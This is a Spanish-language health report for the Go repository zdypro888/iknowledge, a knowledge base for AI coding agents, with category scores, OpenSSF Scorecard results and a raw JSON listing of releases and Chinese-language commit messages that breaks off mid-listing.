Registro público
Informe de salud del softwareesquema 0.27.0 · métricas 1.13.0 · 2026-07-27 09:13 UTC

zdypro888 / iknowledge

A code knowledge base for AI agents — the project's decision & experience archive. 给 AI 配一个项目笔记本:地图、经验、账本。

GoMIT★ 0 estrellas⑂ 0 forksdesde jul 2026Ver en GitHub ↗

zdypro888/iknowledge tiene un índice de salud de 52 sobre 100, lo que lo sitúa en la banda Moderado. Su puntuación más alta es AI Readiness (83/100) y la más baja, Community & Adoption (24/100). Se actualizó por última vez hace 7 días. Una sola persona concentra la mayor parte del trabajo reciente.

52
global / 100
Moderado

Índice de salud del software

Las métricas se agrupan en categorías ponderadas sobre una escala de 1 a 100. El resultado global parte de su media; cuando la evidencia pública activa la Política de Jurisdicciones de Alto Riesgo, la calificación se ajusta y recibe el límite 49 (En riesgo). Preparación para IA queda fuera.

52
Excelente85-100Ejemplar; cumple prácticamente todos los criterios evaluados
Bueno70-84Saludable; carencias menores
Moderado50-69Aceptable con carencias notables; se recomienda revisión
En riesgo30-49Debilidades significativas; su adopción exige cautela
Crítico1-29Problemas graves (proyecto abandonado, un solo mantenedor, sin higiene)
VitalidadComunidad yAdopciónSostenibilidady GobernanzaCalidad deIngenieríaSeguridadPreparaciónpara IA

Perfil de puntuación

Cada eje es una categoría. La forma importa más que la media: un proyecto sano llena toda la figura, mientras que un perfil de picos y cráteres indica que la fortaleza en una dimensión enmascara el riesgo en otra.

Titularidad

ProCuenta personal
7 seguidores37 repositorios públicosdesde sept 2018

Este repositorio pertenece a una cuenta personal. Un proyecto con un único propietario conlleva más riesgo de continuidad que uno respaldado por una organización.

Ecosistemas de paquetes

RegistroPaqueteVersiónDescargas / mesVersionesÚltima publicación
Gogithub.com/zdypro888/iknowledgev0.4.1-5hace 7 días

Métricas por categoría

Vitalidad

¿Está vivo el proyecto: se escribe código y se publican versiones?

68Moderado · 22% del índice global
Cómo se puntúa
36/36Recencia de push — último push hace 7 días
2.1/36Cadencia de commits — 3/52 semanas con commits
16.2/18Volumen de commits — 63 commits en el último año
0/10OpenSSF Scorecard: Maintained — project was created within the last 90 days. Please review its contents carefully
Datos de entrada utilizados
commits_last_year63
human_commit_share1
days_since_last_push7
active_weeks_last_year3
Cómo se puntúa
27/27Publica versiones — 5 versiones publicadas
36/36Recencia de las versiones — última versión hace 7 días
27/27Cadencia de publicación — una versión cada ~2,8 días
0/10OpenSSF Scorecard: Signed-Releases — Project has not signed or included provenance with any releases.
Datos de entrada utilizados
releases_count5
latest_release_tagv0.4.1
releases_from_tagsno
days_since_latest_release7
mean_days_between_releases2,8

Comunidad y Adopción

¿Tiene el proyecto usuarios, descargas, atención y unas condiciones acogedoras para quienes contribuyen?

24Crítico · 18% del índice global
Cómo se puntúa
0/60Estrellas — 0 estrellas
0/25Forks — 0 forks
0/15Observadores — 0 observadores
Datos de entrada utilizados
forks0
stars0
watchers0
growth_stateunverified
growth_factor_pct100
growth_unverified_reasonno_history
Cómo se puntúa
22.5/22.5README
22.5/22.5Licencia — licencia reconocida (MIT)
0/18Guía CONTRIBUTING
0/13.5Código de conducta
0/7.2Plantilla de issues
0/6.3Plantilla de PR
Datos de entrada utilizados
has_readme
has_license
has_contributingno
has_issue_templateno
has_code_of_conductno
has_pull_request_templateno

Sostenibilidad y Gobernanza

¿Sobrevivirá el proyecto a sus personas: factor bus, capacidad de respuesta, quién lo respalda y mantenimiento del paquete?

54Moderado · 24% del índice global
Cómo se puntúa
9/54Factor bus — la mitad de los commits recae en 1 contribuyente(s)
0/22.5Distribución de commits — el principal contribuyente firma el 100% de los commits
1.4/13.5Amplitud de contribuyentes — 1 contribuyentes
0/10OpenSSF Scorecard: Contributors — project has 0 contributing companies or organizations -- score normalized to 0
Datos de entrada utilizados
bus_factor1
contributors_sampled1
top_contributor_share1
Cómo se puntúa
0/46.8Resolución de issues — sin issues o sin datos
38.2/38.3Aceptación de PR — 4/4 PR decididos fusionados
0/15OpenSSF Scorecard: Code-Review — Found 0/24 approved changesets -- score normalized to 0
Datos de entrada utilizados
merged_prs4
open_issues0
closed_issues0
issue_closed_ratio
closed_unmerged_prs0
Excluidos de la puntuación (sin datos o no aplicable): Resolución de issues. Los pesos restantes se han renormalizado.
Cómo se puntúa
10/30Respaldo de la propiedad — cuenta personal (usuario)
0/20Dominio verificado — no aplicable a cuentas de usuario
6.5/25Alcance del propietario — 7 seguidores de zdypro888
23.5/25Trayectoria — 37 repos públicos, cuenta de ~7 años
Datos de entrada utilizados
followers7
owner_typeUser
is_verified
owner_loginzdypro888
public_repos37
account_age_days2860
Excluidos de la puntuación (sin datos o no aplicable): Dominio verificado. Los pesos restantes se han renormalizado.
Cómo se puntúa
25/25Publicado y resoluble — 1 paquete(s) en go
35/35Recencia de publicación — última publicación hace 7 días
20/20Historial de versiones — 5 versiones en el registro
20/20No obsoleto — activo, ni obsoleto ni retirado
Datos de entrada utilizados
packagesgithub.com/zdypro888/iknowledge
ecosystemsgo
any_deprecatedno
min_days_since_publish7

Calidad de Ingeniería

¿Existen unas prácticas mínimas de ingeniería y documentación?

61Moderado · 20% del índice global
Cómo se puntúa
24/24Flujos de trabajo de CI — 2 flujo(s) de trabajo
24/24Pruebas presentes
0/16Configuración de linter
0/9.6Hooks de pre-commit
0/6.4.editorconfig
20/20OpenSSF Scorecard: CI-Tests — 4 out of 4 merged PRs checked by a CI test -- score normalized to 10
Datos de entrada utilizados
has_ci
has_tests
has_editorconfigno
has_linter_configno
has_precommit_configno

Documentación

50Moderado
Cómo se puntúa
30/30README
0/25Directorio de documentación
0/15Sitio de documentación / página del proyecto
10/10Descripción del repositorio
0/10Topics
10/10Wiki
Datos de entrada utilizados
topics
has_wiki
homepage
has_readme
has_docs_dirno
has_description

Seguridad

¿Son sólidas las prácticas visibles de seguridad y de cadena de suministro, sin exposición jurisdiccional de alto riesgo sin resolver?

48En riesgo · 16% del índice global
Cómo se puntúa
7.5/7.5Binary-Artifacts — no binaries found in the repo
0/7.5Branch-Protection — branch protection not enabled on development/release branches
2.5/2.5CI-Tests — 4 out of 4 merged PRs checked by a CI test -- score normalized to 10
0/2.5CII-Best-Practices — no effort to earn an OpenSSF best practices badge detected
0/7.5Code-Review — Found 0/24 approved changesets -- score normalized to 0
0/2.5Contributors — project has 0 contributing companies or organizations -- score normalized to 0
10/10Dangerous-Workflow — no dangerous workflow patterns detected
0/7.5Dependency-Update-Tool — no update tool detected
5/5Fuzzing — project is fuzzed
2.5/2.5Licencia — license file detected
0/7.5Maintained — project was created within the last 90 days. Please review its contents carefully
0/5Packaging — sin datos
5/5Pinned-Dependencies — all dependencies are pinned
0/5SAST — SAST tool is not run on all commits -- score normalized to 0
0/5Security-Policy — security policy file not detected
0/7.5Signed-Releases — Project has not signed or included provenance with any releases.
7.5/7.5Token-Permissions — GitHub workflow tokens follow principle of least privilege
7.5/7.5Vulnerabilities — 0 existing vulnerabilities detected
Datos de entrada utilizados
sourceopenssf_scorecard
checks_evaluated17
scorecard_versionv5.5.0
checks_inconclusive1
scorecard_aggregate4,8
Excluidos de la puntuación (sin datos o no aplicable): packaging. Los pesos restantes se han renormalizado.

Preparación para IA

¿Hasta qué punto está el repositorio preparado para desarrollarse y mantenerse con agentes de codificación de IA? Es una insignia independiente y experimental — peso 0,0, de modo que se presenta por separado y no afecta a la puntuación de salud global.

83Bueno · 0% del índice global
Cómo se puntúa
45/45Instrucciones para agentes — AGENTS.md, CLAUDE.md
0/15Documentación legible por máquinas (llms.txt)
40/40Historial de commits legible — 63 de 63 commits humanos declaran su intención (asunto estructurado o cuerpo explicativo)
Datos de entrada utilizados
has_llms_txtno
legible_history_share1
agent_instruction_filesAGENTS.md, CLAUDE.md
agent_instruction_max_bytes26.247
Cómo se puntúa
12.6/18Arranque con un solo comando — go.mod (convención del toolchain, sin ejecutor de tareas)
22/22Pruebas automatizadas
0/11Configuración de lint / formato
11/11Verificación estática de tipos — Go (tipado estático)
10/10Entorno reproducible — lockfile
10/10Práctica demostrada con agentes — 29 de los últimos 63 commits con autoría o crédito de agente
0/8Mantenimiento automatizado — no se observan actualizaciones automáticas de dependencias
10/10OpenSSF Scorecard: Pinned-Dependencies — all dependencies are pinned
Datos de entrada utilizados
has_nixno
has_tests
lockfilesgo.sum
has_dockerfileno
typed_language
bootstrap_files
has_devcontainerno
has_linter_configno
typecheck_configs
agent_commit_share0,46
toolchain_manifestsgo.mod
dependency_bot_commit_share0
Cómo se puntúa
45/45Código verificable por tipos — Go (tipado estático)
53.6/55Tamaños de archivo manejables — 4/159 archivos fuente de más de 60 KB
Datos de entrada utilizados
primary_languageGo
largest_source_bytes84.740
source_files_sampled159
oversized_source_files4

Datos clave

0estrellas de GitHub
1contribuidores
63commits en los últimos 12 meses
7días desde el último push
5versiones publicadas
1factor bus
0issues abiertas
Goecosistemas de paquetes

Advertencias de recopilación de datos

  • GitHub dependency-graph SBOM unavailable (404); the dependency graph may be disabled for this repository

Más detalle

OpenSSF Scorecard 4.8 / 10
4.8agregado

Evaluación de seguridad independiente y agnóstica en cuanto a herramientas, procedente del proyecto de código abierto OpenSSF Scorecard. Cada comprobación premia una práctica de seguridad, no la herramienta de un proveedor concreto. Las comprobaciones que Scorecard no pudo determinar se marcan como n/d y se excluyen de la puntuación de seguridad (nunca se cuentan como cero).Scorecard v5.5.0 · 2026-07-27 09:13 UTC

10Binary-Artifactsno binaries found in the repo
0Branch-Protectionbranch protection not enabled on development/release branches
10CI-Tests4 out of 4 merged PRs checked by a CI test -- score normalized to 10
0CII-Best-Practicesno effort to earn an OpenSSF best practices badge detected
0Code-ReviewFound 0/24 approved changesets -- score normalized to 0
0Contributorsproject has 0 contributing companies or organizations -- score normalized to 0
10Dangerous-Workflowno dangerous workflow patterns detected
0Dependency-Update-Toolno update tool detected
10Fuzzingproject is fuzzed
10Licenselicense file detected
0Maintainedproject was created within the last 90 days. Please review its contents carefully
n/dPackagingpackaging workflow not detected
10Pinned-Dependenciesall dependencies are pinned
0SASTSAST tool is not run on all commits -- score normalized to 0
0Security-Policysecurity policy file not detected
0Signed-ReleasesProject has not signed or included provenance with any releases.
10Token-PermissionsGitHub workflow tokens follow principle of least privilege
10Vulnerabilities0 existing vulnerabilities detected
Dependencias directas 1
RegistroPaqueteRestricción de versiónManifiesto
Gogopkg.in/yaml.v3v3.0.1go.mod
Todas las dependencias no recopilado

No fue posible recopilar el conjunto de dependencias resuelto para este informe: GitHub dependency-graph SBOM unavailable (404); the dependency graph may be disabled for this repository

Informe JSON sin procesar legible por máquina
{
  "data": {
    "repo": {
      "topics": [],
      "is_fork": false,
      "size_kb": 1188,
      "has_wiki": true,
      "homepage": null,
      "languages": {
        "Go": 1823857,
        "Shell": 50345
      },
      "pushed_at": "2026-07-19T19:23:48Z",
      "created_at": "2026-07-03T15:42:20Z",
      "owner_type": "User",
      "updated_at": "2026-07-19T19:23:52Z",
      "description": "A code knowledge base for AI agents — the project's decision & experience archive. 给 AI 配一个项目笔记本:地图、经验、账本。",
      "is_archived": false,
      "is_disabled": false,
      "license_spdx": "MIT",
      "default_branch": "main",
      "license_spdx_raw": "MIT",
      "primary_language": "Go",
      "significant_languages": [
        "Go"
      ]
    },
    "owner": {
      "blog": null,
      "name": "Pro",
      "type": "User",
      "login": "zdypro888",
      "company": null,
      "location": null,
      "followers": 7,
      "avatar_url": "https://avatars.githubusercontent.com/u/43611116?v=4",
      "created_at": "2018-09-26T13:47:10Z",
      "is_verified": null,
      "public_repos": 37,
      "account_age_days": 2860
    },
    "license": {
      "state": "standard",
      "spdx_id": "MIT",
      "raw_spdx": "MIT",
      "file_present": true,
      "scorecard_found": true,
      "profile_has_license": true
    },
    "activity": {
      "releases": [
        {
          "tag": "v0.4.1",
          "kind": "patch",
          "published_at": "2026-07-19T18:29:08Z"
        },
        {
          "tag": "v0.4.0",
          "kind": "minor",
          "published_at": "2026-07-19T18:02:31Z"
        },
        {
          "tag": "v0.3.1",
          "kind": "patch",
          "published_at": "2026-07-11T19:15:23Z"
        },
        {
          "tag": "v0.3.0",
          "kind": "minor",
          "published_at": "2026-07-11T19:04:13Z"
        },
        {
          "tag": "v0.2.0",
          "kind": "minor",
          "published_at": "2026-07-08T17:42:30Z"
        }
      ],
      "recent_commits": [
        {
          "oid": "6f8691ab8c8b2ea8dcfc19be11ebaf784c355e62",
          "body": null,
          "is_bot": false,
          "headline": "docs: consolidate semantic documentation",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-19T18:48:52Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "0aafcd62129b1ccce5648c18b4badf9be4b782d2",
          "body": null,
          "is_bot": false,
          "headline": "refactor: clarify historical decision advisory",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-19T18:18:42Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "a739313f9276148b3c8c8d2f35985d6dc4836f01",
          "body": null,
          "is_bot": false,
          "headline": "ci: upgrade actions to Node 24",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-19T18:05:16Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "c8f370e523c868cf7165c442ec4c66633bf27d4e",
          "body": null,
          "is_bot": false,
          "headline": "feat: add evidence-aware semantic retrieval",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-19T17:50:51Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "6c01d7f5acca3c577305c631ee9655e7143c368b",
          "body": null,
          "is_bot": false,
          "headline": "feat: add opt-in semantic recall preview",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-19T10:37:37Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "c61a8e2d3da4f0b92174b70d94c4ae5b9ef79d19",
          "body": "feat: 完善 ProjectMem 借鉴能力与安全收口",
          "is_bot": false,
          "headline": "Merge pull request #3 from zdypro888/agent/projectmem-hardening",
          "author_name": "Pro",
          "author_login": "zdypro888",
          "committed_at": "2026-07-19T08:08:37Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "1ef8e718cd57ae5264ec5657d62237cda5cde608",
          "body": "# Conflicts:\n#\t.github/workflows/release.yml\n#\tCLAUDE.md\n#\tREADME.md\n#\tREADME.zh-CN.md\n#\tcmd/iknowledge/integrate.go\n#\tcmd/iknowledge/integrate_test.go\n#\tcmd/iknowledge/main.go\n#\tcmd/iknowledge/scout_e2e_test.go\n#\tcmd/iknowledge/stdio.go\n#\tcmd/iknowledge/stdio_test.go\n#\tinternal/engine/export.go\n#\ti\n[…]\ner/rust.go\n#\tinternal/parser/typescript.go\n#\tinternal/store/auth.go\n#\tinternal/store/extended.go\n#\tinternal/store/journal.go\n#\tinternal/store/lock_unix.go\n#\tinternal/store/store.go\n#\tknowledge-impl.md",
          "is_bot": false,
          "headline": "Merge main into agent/projectmem-hardening",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-19T08:05:02Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "2cfce42625882b20d5f63f4ac30dd105405322aa",
          "body": null,
          "is_bot": false,
          "headline": "docs: 记录向量检索设计",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-19T07:50:35Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "0eeee04b4006d8979ba48e75b10e0fecccb8810e",
          "body": null,
          "is_bot": false,
          "headline": "fix: 避免大仓 stdio 就绪探针超时",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-17T20:02:11Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "36488e95457ec741ed9699a102e0bf5574523111",
          "body": null,
          "is_bot": false,
          "headline": "feat: 完善 ProjectMem 借鉴能力与安全收口",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-17T19:56:43Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "75242aee7f514c4ff45ad947f702a8159912ab1e",
          "body": "Ignore in-repository release artifacts so Go VCS metadata does not falsely mark tagged builds dirty.",
          "is_bot": false,
          "headline": "Merge clean release version metadata fix",
          "author_name": "Pro",
          "author_login": "zdypro888",
          "committed_at": "2026-07-11T19:10:24Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "6765510ca2839da103007018baa0e866ff6dcb36",
          "body": null,
          "is_bot": false,
          "headline": "fix: keep release version metadata clean",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-11T19:06:13Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "033fdc50a909b84ca4d929d9ba2550c620875e01",
          "body": "Fix crash consistency, local authentication boundaries, bundle validation, multi-language parsing, generation-aware indexing, and release/install safety.",
          "is_bot": false,
          "headline": "Merge round 34 audit hardening",
          "author_name": "Pro",
          "author_login": "zdypro888",
          "committed_at": "2026-07-11T18:58:42Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "825a87331238924b7924a3508482862e6375e8a0",
          "body": null,
          "is_bot": false,
          "headline": "fix: harden transactions auth bundles and parsing",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-11T18:54:59Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "68acd6091ff1ce5cd9b9ff45a15156858d66781d",
          "body": null,
          "is_bot": false,
          "headline": "fix: harden release installer and clean static issues",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-08T18:12:03Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "3cafab146c9af7cb8f5824d5cff425389f087f2e",
          "body": "此前 install.sh 第一步 command -v go——非 Go 用户(绝大多数 AI 编程用户)装不了,\n卡死 80% 潜在用户。本次双管齐下:\n\n① release.yml(GitHub Actions):打 v* tag 时三关(build/vet/-race)后 cross-compile\n  6 个目标(darwin/linux × amd64/arm64 + windows amd64),CGO_ENABLED=0 静态二进制,\n  -trimpath -ldflags='-s -w' 瘦身 reproducible,tar.gz + sha256sums 上传 Rele\n[…]\nnstall。\n  IKNOWLEDGE_BIN 覆盖安装目录,IKNOWLEDGE_FORCE_SOURCE 强制源码构建。\n\n本地验证:三平台 cross-compile 全过(8-9MB 二进制),tar 打包解压链路与 install.sh\n对齐,version 自检正常。README 双语更新安装说明。\n\n待首个 v* tag 触发实际发布后,无 Go 用户即可 curl|sh 一键装。",
          "is_bot": false,
          "headline": "feat(轮33): 预编译二进制发布——去掉 Go 工具链门槛,扩大用户基数",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T17:40:15Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "7143448907edc8175457dc3cf12236d79ea39cd7",
          "body": "kb_status 加知识缺口 TOP5:被依赖 calledBy≥2 却零活跃知识的节点——这些是\n'每次用都得从零读代码'的盲区,主动提示 AI 优先沉淀契约/坑。\n\n场景:verify 被 Login+Logout 两处调用却无知识 → kb_status 报'知识缺口:verify\n被 2 处调用,零覆盖',AI 据此优先沉淀它的契约。\n\n留痕:CLAUDE.md 轮32 三批次(工作流测试/变更影响面/知识缺口)回写。\n\n回归:高被依赖零覆盖报缺口 + 有知识后不算缺口 两测试通过。\nbuild/vet/-race 全套绿。轮32 三批次全部完成。",
          "is_bot": false,
          "headline": "feat(轮32 批次3): 知识缺口发现 + 文档留痕",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T17:03:24Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "1cfd057e424b53244437726c9fbd38666d340e7b",
          "body": "'完善智能'的核心:AI 改一个函数时,系统立刻告诉它波及面 + 哪些调用方的契约/坑\n可能被破坏。从'记忆'到'主动协作'的关键一跃。\n\n实现:record_change 回执末尾,对主节点查 callgraph calledByOf,区分:\n- 带活跃知识的调用方(契约/pitfall 可能受影响)→ 列出并提示'kb_recall 看契约是否仍成立';\n- 无知识的调用方(纯机械依赖)→ 不报(callgraph 已在 recall 展示,避免噪音)。\n限额 3 个节点的影响面(防长清单刷屏)。\n\n场景:改 Login → 系统报'被 HandleLogin 调用,它带契约知识,建议复核'。\nAI 不再盲改,动手即知波及面。\n\n回归:有知识调用方报影响面 + 无知识不噪音 两测试通过。build/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(轮31 批次2): 变更影响面分析——record_change 用 callgraph 报告波及调用方/契约",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T16:26:15Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "48a2d41a2bb861f9b8d2e8f40eb8bb5039baf6b8",
          "body": "之前 181 个测试都是单工具单点;这组 4 个测试模拟 AI 真实工作序列,验证这几轮\n(轮29~30)所有功能改动协同正确:\n\n① record→recall→防撞→revert:会话A 沉淀契约+pitfall、record_change(否决 sync.Map),\n  recall history 含负知识;会话B 提相似方案触发防撞;revert 撤销验证 change 链。\n② diagnose 定位:pitfall 描述问题 → diagnose 症状命中位置 + 附 rejected 上下文。\n③ 雷区累积:多次 record_change(+overturns)→ Injec\n[…]\n。\n④ 跨会话 stale:会话读哈希基线 → 改代码 → 再 recall 触发过时警报(台账+reconcile 协同)。\n\n发现并修正:stale 测试最初用行内注释改代码,Go parser 的 Hash 是 gofmt 免疫且\n行内注释不参与哈希——改用实际语句变更才触发。这是测试构造问题非产品 bug,\n但也留证了'哈希语义'在测试里要遵守。\n\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "test(轮31 批次1): 端到端工作流集成测试——验证完整价值链协同",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T16:19:13Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "6022f07344d1a52498153668f1cb39741030dd01",
          "body": null,
          "is_bot": false,
          "headline": "feat: add operational self-checks and import safeguards",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-08T15:24:14Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "bef21f9da01bbde41937c38b1152d3444972bb99",
          "body": "解决'AI 不知哪里易出错反复踩坑':标记反复改/推翻过的'地雷区',AI 进入时强警告。\n\nC1 雷区分预计算(index.Build):landmine = 变更频次 + 推翻(overturns/reverts)×2\n  + entry-level refute 数。LandmineScore(nodeID) 访问器。\nC2 Inject 警告(read.go):文件累计 landmine≥3 → '⚠ 雷区:动手前必读否决理由,\n  否则极可能重蹈覆辙'。\nC3 kb_status 雷区 TOP5:与热点 TOP5 并列(热点=常改该消化,雷区=易错该警惕)。\n\n文档留痕:CLAUDE.md 轮30 三机制回写。\n\n回归:Inject 雷区警告 / Status TOP5 / 无信号不误报 三测试通过。\nbuild/vet/-race 全套绿。轮30 三机制(A 防撞 + B 诊断 + C 雷区)全部完成,9 测试。",
          "is_bot": false,
          "headline": "feat(轮30-C): 雷区标记 + Inject 强警告 + kb_status 雷区 TOP5",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T14:43:07Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "0dd0b7f4a92917026d586ddc849fa3d3b491c72c",
          "body": "解决'定位问题靠猜文件名+grep':AI 输入症状/报错('支付回调偶发超时'),系统返回\n最可能位置 + 相关 pitfall + 排障流程 + 历史否决方案。与 kb_recall(位置→内容)相反。\n\n复用已有数据(零新存储):ix.Search 已索引 pitfall entry 文本(症状天然命中描述\n问题的 pitfall);keywordOverlap 匹配 Flow.Troubleshoot;ix.History 取命中节点的\nrejected 方案(动手前必读的负知识)。pitfall 优先排序 + 放松 fresh 限制(diagnose\n该看 suspect 地雷,不只 fresh)。\n\n注册:toolOrder+allTools+dispatch+scoutTools(只读,侦察兵该用)。工具数 15→16。\n回归:pitfall 命中定位 / 附 rejected 上下文 / 无命中引导 investigate 三测试通过。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(轮30-B): kb_diagnose——症状→位置反向定位",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T14:05:52Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "c1aeff3f27ea42cf860cf532075f27423f02e95b",
          "body": "解决'重复犯错':AI 提新方案时,系统自动检查是否与历史否决方案(rejected)相似,\nbigram>0.8 命中则分级提醒——带 disputes(已主动声明矛盾)→温和提醒;没带→强警告\n(含 change ID、被否方案原文、理由)。不阻断写入(知识导航源码拍板)。\n\n落点:write.go Remember per-entry 循环,同节点去重后、based_on 前插入。\n复用:BigramJaccard(textutil.go)、warnList(write.go)、ix.Changes()(全库遍历,\nprecedent:maintain crossNodeDup 已是同量级 O(n²) 且注释'百级可控')。\n\n回归:相似方案强警告 / 带 disputes 温和软化 / 不相似不误报 三测试通过。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(轮30-A): 写入时方案防撞——kb_remember 自动比对历史 rejected",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T13:30:29Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "76f031f30492b924af2b5b1237a159898243d714",
          "body": "发布前唯一待办(自轮 25 起挂在 CLAUDE.md 遗留项①)消除。选 MIT:最宽松、采用率\n最高,对 AI 开发者工具最友好,与唯一依赖 yaml.v3(MIT/Apache-2.0)兼容。\n\n- LICENSE:标准 MIT 文本(版权 2026 zdypro888)\n- README.md / README.zh-CN.md:加 License 章节\n- CLAUDE.md:轮 29-续留痕,待办①许可证划掉(同时记 Rust/Java + 健康度)",
          "is_bot": false,
          "headline": "license: MIT 定案——LICENSE + 双语 README 声明 + CLAUDE.md 待办划掉",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T12:17:03Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "8962e4e0d48b7f1d7c8cf79c92b816d78a9afba3",
          "body": "多语言 T1 扩展(Rust .rs / Java .java,纯 Go 轻量词法,零运行时依赖):\n- Rust:fn/impl/struct/enum/trait,impl 块方法(Class.method 规范名),\n  哈希 rs 前缀,格式/注释免疫 + 改名 StructHash 免疫。\n- Java:两遍扫描(findJavaTypes + findJavaMethods),class/interface/enum/record\n  + 类内方法;scanMethodSig 只看两种签名形式(name( 或 RetType name(),\n  失败回退不吞 token,避免字段类\n[…]\n盘(零新存储,运行时聚合已有数据):\n- 置信度分布(verified/inferred/suspect/derived 占比)\n- 知识平均年龄 + 最近确认时间\n- suspect 积压数(含最久未清节点)\n- 近 30 天活动(变更/验证/推翻次数)\n\n回归:Rust 函数/impl 方法/哈希稳定/改名免疫;Java 类+方法/哈希稳定;注册覆盖。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29-续): Rust/Java 解析器 + kb_status 知识健康度仪表盘",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T11:59:20Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "d354f6ac4082325e6df49a8323b2a05e2f29f587",
          "body": "E7.1 atomicWrite symlink 防线注释(EnsureLayout 0755 权限是 load-bearing)。\nE7.2 fsyncdir build tag !unix→windows(+unknown 报错版,对齐 lock_other 立场)。\nE7.3 Python helper 加固(-S no site + 清 PYTHONPATH/PYTHONSTARTUP,减 codec 注入面)。\nE7.4 mergeUnknown/cloneNode 深度限(>100 bail,防恶意嵌套 shard 栈溢出)。\nE7.5 只读端点 limit 钳制(≤200,防 ?\n[…]\n 测试纪律注明 harness 不计覆盖率)。\nE7.8 错误处理注释收口。\n\n文档同步:CLAUDE.md 加轮 29 七批次留痕;README 双语 FAQ 加 JS/TS 符号级支持声明。\n\n全轮验证:go.mod 仍只 yaml.v3(零重依赖铁律守住)、工具不碰源码、包依赖方向不变。\nbuild/vet/-race 全套绿,新增 ~1500 行 Go(含测试),总测试 149→175+。",
          "is_bot": false,
          "headline": "chore(R29 批次7): 工程化/健壮性收尾 + 文档同步",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:33:06Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "d716cee82508b45cb722d1838c65770db0b48f15",
          "body": "TypeScript/JavaScript 解析器(.ts/.tsx/.js/.jsx/.mjs/.cjs/.mts/.cts)。\n\n策略决策(零重依赖铁律):Node.js 不自带 JS/TS AST 解析库(vm 只解析 JS,\n不支持 TS;acorn/babel 需 npm 装,违反零依赖哲学)。改用纯 Go 轻量词法分析:\n扫描顶层 function/class 声明关键字 + 大括号配对算行范围,跳过字符串/注释/模板字面量\n防误匹配。class body 内提取方法(Class.method 规范名)。\n\n近似解析(宁缺不要错,knowledge.md §16.3):不解析完整 \n[…]\nash = sha256(归一化 body,压空白去注释,格式/注释免疫);\nStructHash = 自身名换占位符(改名免疫,仅迁移匹配)。class 剥方法体(方法另有符号)。\n\n恒注册(纯 Go,无需运行时探测),与 Python(python3 可用才注册)不同。\n\n回归:函数/类+方法/哈希稳定/改名免疫/字符串内容不误匹配/注册覆盖 全通过。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29 批次6): JS/TS 解析器——纯 Go 词法,零运行时依赖",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:28:34Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "0867a85187f3ea94cf4ccd2d73bb55568c056611",
